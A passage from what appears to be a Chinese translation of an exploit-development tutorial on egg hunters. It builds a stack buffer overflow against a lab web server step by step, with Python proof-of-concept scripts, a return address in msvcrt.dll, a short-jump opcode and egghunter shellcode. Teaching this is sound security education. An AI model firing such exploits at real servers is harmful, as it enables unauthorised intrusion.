- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
第一阶段
细心的读者可能注意到 POC 中缓冲区变量名是 Stage1, 更多在随后的 Stage2. 先找出 EIP 和 ESP 偏移.通常都用 metasplot pattern 替换原字符串。
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/ root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 600 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah 0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5 Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar 6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
很好,重新布置我们的缓冲区. 515 字节覆盖到 EIP, ESP 指向 EIP 后面的区域。
Stage1 = "A"*515 + [EIP] + BBBBB.....
找一条直接跳转到 ESP 的指令. 记住不能有坏字符. 看下图,这有几个选择. 它们属于系统 dll 模块但这不重要。
选择其中一个指针. 这里我要解释第一阶段的目的:嵌入寻蛋指令. 现在有几个选择,我们可以把寻蛋指令放置在 ESP 处. 但为了整洁,我宁愿将寻蛋指令布置在被覆盖的 EIP 之前; 要做到这一点,我们将放置一个”短跳”指令,向后跳到我们的缓冲区。这种”短跳”只需要 2 个字节,所以我们要调整我们的缓冲区如下。
Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll) Buffer: Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"B"*2
现在我们只是把短跳转指令设置为 BB, 新的 POC 如下:
#!/usr/bin/python import socket import os import sys #-------------------------------------------------------------------------------# # badchars: \x00\x0d\x0a\x3d\x20\x3f # #-------------------------------------------------------------------------------# # Stage1: # # (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll # # (2) ESP: jump back 60 bytes in the buffer => ???? # #-------------------------------------------------------------------------------# Stage1 = "A"*515 + "\x59\x54\xC3\x77" + "B"*2 buffer = ( "HEAD /" + Stage1 + " HTTP/1.1\r\n" "Host: 192.168.111.128:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Keep-Alive: 115\r\n" "Connection: keep-alive\r\n\r\n") expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect(("192.168.111.128", 8080)) expl.send(buffer) expl.close()
重新打开这个 POC, 看到程序中断
完美! 继续 F7 最终会执行到 BB. 是时候设置跳转到寻蛋指令了. 短跳转用 EB+跳转的目标距离. 用 windows 的计算器就可以完成. 观察下面两张图
Short Jump = \xEB
-60 bytes = \xC4
在漏洞利用中其实 windows 的计算器也很有用. 现在验证我们算的对不对,新的缓冲区如下:
Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"\xEB\xC4"
运行 POC, 下图一断在短跳转指令, F7 后,再看下图二,程序往前跳了 60 字节,转到我们的寻蛋指令
第一阶段只剩下设置寻蛋指令了. 你可以使用或修改教程开头的那个寻蛋指令. 但是 mona 同样可以生产寻蛋指令。
!mona help egg !mona egg –t b33f
上图可以看到寻蛋指令 32 字节. 下图可以看到寻蛋指令非常靠近 EIP 和短跳转指令。
#!/usr/bin/python import socket import os import sys #Egghunter #Size 32-bytes hunter = ( "\x66\x81\xca\xff" "\x0f\x42\x52\x6a" "\x02\x58\xcd\x2e" "\x3c\x05\x5a\x74" "\xef\xb8\x62\x33" #b3 "\x33\x66\x8b\xfa" #3f "\xaf\x75\xea\xaf" "\x75\xe7\xff\xe7") #-------------------------------------------------------------------------------# # badchars: \x00\x0d\x0a\x3d\x20\x3f # #-------------------------------------------------------------------------------# # Stage1: # # (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll # # (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4 # # (3) Enough room for egghunter; marker "b33f" # #-------------------------------------------------------------------------------# Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4" buffer = ( "HEAD /" + Stage1 + " HTTP/1.1\r\n" "Host: 192.168.111.128:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Keep-Alive: 115\r\n" "Connection: keep-alive\r\n\r\n") expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect(("192.168.111.128", 8080)) expl.send(buffer) expl.close()
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论